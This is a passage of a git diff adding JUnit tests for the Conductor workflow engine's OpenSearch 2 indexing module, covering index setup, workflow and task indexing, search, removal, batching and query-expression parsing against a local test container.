    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.Reader; + +import org.apache.http.HttpHost; +import org.junit.After; +import org.junit.Before; +import org.opensearch.client.Request; +import org.opensearch.client.Response; +import org.opensearch.client.RestClient; +import org.opensearch.client.RestClientBuilder; +import org.springframework.retry.support.RetryTemplate; + +public abstract class OpenSearchRestDaoBaseTest extends OpenSearchTest { + + protected RestClient restClient; + protected OpenSearchRestDAO indexDAO; + + @Before + public void setup() throws Exception { + String httpHostAddress = container.getHttpHostAddress(); + String host = httpHostAddress.split(":")[1].replace("//", ""); + int port = Integer.parseInt(httpHostAddress.split(":")[2]); + + properties.setUrl(httpHostAddress); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(host, port, "http")); + restClient = restClientBuilder.build(); + + indexDAO = + new OpenSearchRestDAO( + restClientBuilder, new RetryTemplate(), properties, objectMapper); + indexDAO.setup(); + } + + @After + public void tearDown() throws Exception { + deleteAllIndices(); + + if (restClient != null) { + restClient.close(); + } + } + + private void deleteAllIndices() throws IOException { + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + System.out.println("Deleting line: " + line); + String[] fields = line.split("(\\s+)"); + String endpoint = String.format("/%s", fields[2]); + System.out.println("Deleting index: " + endpoint); + restClient.performRequest(new Request("DELETE", endpoint)); + } + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchTest.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchTest.java new file mode 100644 index 0000000..974abdb --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import org.conductoross.conductor.os2.config.OpenSearchProperties; +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.runner.RunWith; +import org.opensearch.testcontainers.OpensearchContainer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@ContextConfiguration( + classes = {TestObjectMapperConfiguration.class, OpenSearchTest.TestConfiguration.class}) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=opensearch2", + // Disable ES7 auto-configuration + "conductor.elasticsearch.version=0", + // Use new OpenSearch namespace + "conductor.opensearch.version=2" + }) +public abstract class OpenSearchTest { + + @Configuration + static class TestConfiguration { + + @Bean + public OpenSearchProperties openSearchProperties() { + return new OpenSearchProperties(); + } + } + + protected static OpensearchContainer container = + new OpensearchContainer<>( + DockerImageName.parse( + "opensearchproject/opensearch:2.18.0")); // this should match the client + // version + + @Autowired protected ObjectMapper objectMapper; + + @Autowired protected OpenSearchProperties properties; + + @BeforeClass + public static void startServer() { + container.start(); + } + + @AfterClass + public static void stopServer() { + container.stop(); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestBulkRequestBuilderWrapper.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestBulkRequestBuilderWrapper.java new file mode 100644 index 0000000..8676d8a --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestBulkRequestBuilderWrapper.java @@ -0,0 +1,50 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import org.junit.Test; +import org.mockito.Mockito; +import org.opensearch.action.bulk.BulkRequestBuilder; +import org.opensearch.action.index.IndexRequest; +import org.opensearch.action.update.UpdateRequest; + +public class TestBulkRequestBuilderWrapper { + BulkRequestBuilder builder = Mockito.mock(BulkRequestBuilder.class); + BulkRequestBuilderWrapper wrapper = new BulkRequestBuilderWrapper(builder); + + @Test(expected = Exception.class) + public void testAddNullUpdateRequest() { + wrapper.add((UpdateRequest) null); + } + + @Test(expected = Exception.class) + public void testAddNullIndexRequest() { + wrapper.add((IndexRequest) null); + } + + @Test + public void testBuilderCalls() { + IndexRequest indexRequest = new IndexRequest(); + UpdateRequest updateRequest = new UpdateRequest(); + + wrapper.add(indexRequest); + wrapper.add(updateRequest); + wrapper.numberOfActions(); + wrapper.execute(); + + Mockito.verify(builder, Mockito.times(1)).add(indexRequest); + Mockito.verify(builder, Mockito.times(1)).add(updateRequest); + Mockito.verify(builder, Mockito.times(1)).numberOfActions(); + Mockito.verify(builder, Mockito.times(1)).execute(); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAO.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAO.java new file mode 100644 index 0000000..78067fc --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAO.java @@ -0,0 +1,523 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.function.Supplier; + +import org.conductoross.conductor.os2.utils.TestUtils; +import org.joda.time.DateTime; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; + +import com.google.common.collect.ImmutableMap; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class TestOpenSearchRestDAO extends OpenSearchRestDaoBaseTest { + + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private static final String INDEX_PREFIX = "conductor"; + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String MSG_DOC_TYPE = "message"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String LOG_DOC_TYPE = "task_log"; + + private boolean indexExists(final String index) throws IOException { + return indexDAO.doesResourceExist("/" + index); + } + + private boolean doesMappingExist(final String index, final String mappingName) + throws IOException { + return indexDAO.doesResourceExist("/" + index + "/_mapping/" + mappingName); + } + + @Test + public void assertInitialSetup() throws IOException { + SIMPLE_DATE_FORMAT.setTimeZone(TimeZone.getTimeZone("GMT")); + + String workflowIndex = INDEX_PREFIX + "_" + WORKFLOW_DOC_TYPE; + String taskIndex = INDEX_PREFIX + "_" + TASK_DOC_TYPE; + + String taskLogIndex = + INDEX_PREFIX + "_" + LOG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String messageIndex = + INDEX_PREFIX + "_" + MSG_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + String eventIndex = + INDEX_PREFIX + "_" + EVENT_DOC_TYPE + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + + assertTrue("Index 'conductor_workflow' should exist", indexExists(workflowIndex)); + assertTrue("Index 'conductor_task' should exist", indexExists(taskIndex)); + + assertTrue("Index '" + taskLogIndex + "' should exist", indexExists(taskLogIndex)); + assertTrue("Index '" + messageIndex + "' should exist", indexExists(messageIndex)); + assertTrue("Index '" + eventIndex + "' should exist", indexExists(eventIndex)); + + assertTrue( + "Index template for 'message' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + MSG_DOC_TYPE)); + assertTrue( + "Index template for 'event' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + EVENT_DOC_TYPE)); + assertTrue( + "Index template for 'task_log' should exist", + indexDAO.doesResourceExist("/_index_template/template_" + LOG_DOC_TYPE)); + } + + @Test + public void shouldIndexWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexWorkflowAsync() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.asyncIndexWorkflow(workflowSummary).get(); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldRemoveWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.removeWorkflow(workflowSummary.getWorkflowId()); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldAsyncRemoveWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.asyncRemoveWorkflow(workflowSummary.getWorkflowId()).get(); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldUpdateWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.updateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.COMPLETED}); + + workflowSummary.setStatus(WorkflowStatus.COMPLETED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldAsyncUpdateWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.asyncUpdateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.FAILED}) + .get(); + + workflowSummary.setStatus(WorkflowStatus.FAILED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexTask() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldIndexTaskAsync() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.asyncIndexTask(taskSummary).get(); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldRemoveTask() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldAsyncRemoveTask() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotRemoveTaskWhenNotAssociatedWithWorkflow() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask("InvalidWorkflow", taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotAsyncRemoveTaskWhenNotAssociatedWithWorkflow() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask("InvalidWorkflow", taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldAddTaskExecutionLogs() { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.addTaskExecutionLogs(logs); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddTaskExecutionLogsAsync() throws Exception { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.asyncAddTaskExecutionLogs(logs).get(); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddMessage() { + String queue = "queue"; + Message message1 = new Message(uuid(), "payload1", null); + Message message2 = new Message(uuid(), "payload2", null); + + indexDAO.addMessage(queue, message1); + indexDAO.addMessage(queue, message2); + + List indexedMessages = tryFindResults(() -> indexDAO.getMessages(queue), 2); + + assertEquals(2, indexedMessages.size()); + + assertTrue( + "Not all messages was indexed", + indexedMessages.containsAll(Arrays.asList(message1, message2))); + } + + @Test + public void shouldAddEventExecution() { + String event = "event"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.addEventExecution(execution1); + indexDAO.addEventExecution(execution2); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAsyncAddEventExecution() throws Exception { + String event = "event2"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.asyncAddEventExecution(execution1).get(); + indexDAO.asyncAddEventExecution(execution2).get(); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAddIndexPrefixToIndexTemplate() throws Exception { + String json = TestUtils.loadJsonResource("expected_template_task_log"); + String content = indexDAO.loadTypeMappingSource("/template_task_log.json"); + + assertEquals(json, content); + } + + @Test + public void shouldSearchRecentRunningWorkflows() throws Exception { + WorkflowSummary oldWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + oldWorkflow.setStatus(WorkflowStatus.RUNNING); + oldWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(2).toDate())); + + WorkflowSummary recentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + recentWorkflow.setStatus(WorkflowStatus.RUNNING); + recentWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(1).toDate())); + + WorkflowSummary tooRecentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + tooRecentWorkflow.setStatus(WorkflowStatus.RUNNING); + tooRecentWorkflow.setUpdateTime(getFormattedTime(new DateTime().toDate())); + + indexDAO.indexWorkflow(oldWorkflow); + indexDAO.indexWorkflow(recentWorkflow); + indexDAO.indexWorkflow(tooRecentWorkflow); + + Thread.sleep(1000); + + List ids = indexDAO.searchRecentRunningWorkflows(2, 1); + + assertEquals(1, ids.size()); + assertEquals(recentWorkflow.getWorkflowId(), ids.get(0)); + } + + @Test + public void shouldCountWorkflows() { + int counts = 1100; + for (int i = 0; i < counts; i++) { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + } + + // wait for workflow to be indexed + long result = tryGetCount(() -> getWorkflowCount("template_workflow", "RUNNING"), counts); + assertEquals(counts, result); + } + + private long tryGetCount(Supplier countFunction, int resultsCount) { + long result = 0; + for (int i = 0; i < 20; i++) { + result = countFunction.get(); + if (result == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + // Get total workflow counts given the name and status + private long getWorkflowCount(String workflowName, String status) { + return indexDAO.getWorkflowCount( + "status=\"" + status + "\" AND workflowType=\"" + workflowName + "\"", "*"); + } + + private void assertWorkflowSummary(String workflowId, WorkflowSummary summary) { + assertEquals(summary.getWorkflowType(), indexDAO.get(workflowId, "workflowType")); + assertEquals(String.valueOf(summary.getVersion()), indexDAO.get(workflowId, "version")); + assertEquals(summary.getWorkflowId(), indexDAO.get(workflowId, "workflowId")); + assertEquals(summary.getCorrelationId(), indexDAO.get(workflowId, "correlationId")); + assertEquals(summary.getStartTime(), indexDAO.get(workflowId, "startTime")); + assertEquals(summary.getUpdateTime(), indexDAO.get(workflowId, "updateTime")); + assertEquals(summary.getEndTime(), indexDAO.get(workflowId, "endTime")); + assertEquals(summary.getStatus().name(), indexDAO.get(workflowId, "status")); + assertEquals(summary.getInput(), indexDAO.get(workflowId, "input")); + assertEquals(summary.getOutput(), indexDAO.get(workflowId, "output")); + assertEquals( + summary.getReasonForIncompletion(), + indexDAO.get(workflowId, "reasonForIncompletion")); + assertEquals( + String.valueOf(summary.getExecutionTime()), + indexDAO.get(workflowId, "executionTime")); + assertEquals(summary.getEvent(), indexDAO.get(workflowId, "event")); + assertEquals( + summary.getFailedReferenceTaskNames(), + indexDAO.get(workflowId, "failedReferenceTaskNames")); + } + + private String getFormattedTime(Date time) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("GMT")); + return sdf.format(time); + } + + private List tryFindResults(Supplier> searchFunction) { + return tryFindResults(searchFunction, 1); + } + + private List tryFindResults(Supplier> searchFunction, int resultsCount) { + List result = Collections.emptyList(); + for (int i = 0; i < 20; i++) { + result = searchFunction.get(); + if (result.size() == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + private List searchWorkflows(String workflowId) { + return indexDAO.searchWorkflows( + "", "workflowId:\"" + workflowId + "\"", 0, 100, Collections.emptyList()) + .getResults(); + } + + private List searchTasks(TaskSummary taskSummary) { + return indexDAO.searchTasks( + "", + "workflowId:\"" + taskSummary.getWorkflowId() + "\"", + 0, + 100, + Collections.emptyList()) + .getResults(); + } + + private TaskExecLog createLog(String taskId, String log) { + TaskExecLog taskExecLog = new TaskExecLog(log); + taskExecLog.setTaskId(taskId); + return taskExecLog; + } + + private EventExecution createEventExecution(String event) { + EventExecution execution = new EventExecution(uuid(), uuid()); + execution.setName("name"); + execution.setEvent(event); + execution.setCreated(System.currentTimeMillis()); + execution.setStatus(EventExecution.Status.COMPLETED); + execution.setAction(EventHandler.Action.Type.start_workflow); + execution.setOutput(ImmutableMap.of("a", 1, "b", 2, "c", 3)); + return execution; + } + + private String uuid() { + return UUID.randomUUID().toString(); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAOBatch.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAOBatch.java new file mode 100644 index 0000000..160c89c --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAOBatch.java @@ -0,0 +1,81 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.util.HashMap; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; + +import com.fasterxml.jackson.core.JsonProcessingException; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +@TestPropertySource(properties = "conductor.elasticsearch.indexBatchSize=2") +public class TestOpenSearchRestDAOBatch extends OpenSearchRestDaoBaseTest { + + @Test + public void indexTaskWithBatchSizeTwo() { + String correlationId = "some-correlation-id"; + + TaskSummary taskSummary = new TaskSummary(); + taskSummary.setTaskId("some-task-id"); + taskSummary.setWorkflowId("some-workflow-instance-id"); + taskSummary.setTaskType("some-task-type"); + taskSummary.setStatus(Status.FAILED); + try { + taskSummary.setInput( + objectMapper.writeValueAsString( + new HashMap() { + { + put("input_key", "input_value"); + } + })); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + taskSummary.setCorrelationId(correlationId); + taskSummary.setTaskDefName("some-task-def-name"); + taskSummary.setReasonForIncompletion("some-failure-reason"); + + indexDAO.indexTask(taskSummary); + indexDAO.indexTask(taskSummary); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult result = + indexDAO.searchTasks( + "correlationId='" + correlationId + "'", + "*", + 0, + 10000, + null); + + assertTrue( + "should return 1 or more search results", + result.getResults().size() > 0); + assertEquals( + "taskId should match the indexed task", + "some-task-id", + result.getResults().get(0)); + }); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestExpression.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestExpression.java new file mode 100644 index 0000000..f14a630 --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestExpression.java @@ -0,0 +1,148 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.os2.dao.query.parser.internal.AbstractParserTest; +import org.conductoross.conductor.os2.dao.query.parser.internal.ConstValue; +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * @author Viren + */ +public class TestExpression extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = + "type='IMAGE' AND subType ='sdp' AND (metadata.width > 50 OR metadata.height > 50)"; + // test = "type='IMAGE' AND subType ='sdp'"; + // test = "(metadata.type = 'IMAGE')"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNotNull(ge); + expr = ge.getExpression(); + assertNotNull(expr); + + assertTrue(expr.isBinaryExpr()); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("metadata.width", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + + assertEquals("OR", expr.getOperator().getOperator()); + rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + nv = rhs.getNameValue(); + assertNotNull(nv); + + assertEquals("metadata.height", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + } + + @Test + public void testWithSysConstants() throws Exception { + String test = "type='IMAGE' AND subType ='sdp' AND description IS null"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNull(ge); + nv = rhs.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + ConstValue cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + + test = "description IS not null"; + is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + expr = new 